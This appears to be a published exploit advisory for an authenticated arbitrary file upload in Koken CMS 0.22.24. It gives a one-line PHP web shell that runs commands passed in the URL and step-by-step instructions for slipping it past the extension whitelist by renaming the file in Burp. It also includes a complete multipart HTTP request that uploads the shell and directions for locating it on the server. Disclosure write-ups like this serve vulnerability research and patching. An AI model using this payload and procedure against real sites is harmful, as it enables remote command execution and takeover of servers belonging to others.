76 lines
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2.4 KiB
Text
76 lines
No EOL
2.4 KiB
Text
# Exploit Title: Koken CMS 0.22.24 - Arbitrary File Upload (Authenticated)
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# Date: 2020-07-15
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# Exploit Author: v1n1v131r4
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# Vendor Homepage: http://koken.me/
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# Software Link: https://www.softaculous.com/apps/cms/Koken
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# Version: 0.22.24
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# Tested on: Linux
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# PoC: https://github.com/V1n1v131r4/Bypass-File-Upload-on-Koken-CMS/blob/master/README.md
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The Koken CMS upload restrictions are based on a list of allowed file extensions (withelist), which facilitates bypass through the handling of the HTTP request via Burp.
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Steps to exploit:
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1. Create a malicious PHP file with this content:
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<?php system($_GET['cmd']);?>
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2. Save as "image.php.jpg"
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3. Authenticated, go to Koken CMS Dashboard, upload your file on "Import Content" button (Library panel) and send the HTTP request to Burp.
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4. On Burp, rename your file to "image.php"
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POST /koken/api.php?/content HTTP/1.1
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Host: target.com
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User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
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Accept: */*
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Referer: https://target.com/koken/admin/
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x-koken-auth: cookie
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Content-Type: multipart/form-data; boundary=---------------------------2391361183188899229525551
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Content-Length: 1043
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Connection: close
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Cookie: PHPSESSID= [Cookie value here]
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-----------------------------2391361183188899229525551
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Content-Disposition: form-data; name="name"
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image.php
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-----------------------------2391361183188899229525551
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Content-Disposition: form-data; name="chunk"
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0
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-----------------------------2391361183188899229525551
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Content-Disposition: form-data; name="chunks"
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1
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-----------------------------2391361183188899229525551
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Content-Disposition: form-data; name="upload_session_start"
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1594831856
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-----------------------------2391361183188899229525551
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Content-Disposition: form-data; name="visibility"
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public
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-----------------------------2391361183188899229525551
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Content-Disposition: form-data; name="license"
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all
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-----------------------------2391361183188899229525551
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Content-Disposition: form-data; name="max_download"
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none
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-----------------------------2391361183188899229525551
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Content-Disposition: form-data; name="file"; filename="image.php"
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Content-Type: image/jpeg
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<?php system($_GET['cmd']);?>
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-----------------------------2391361183188899229525551--
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5. On Koken CMS Library, select you file and put the mouse on "Download File" to see where your file is hosted on server. |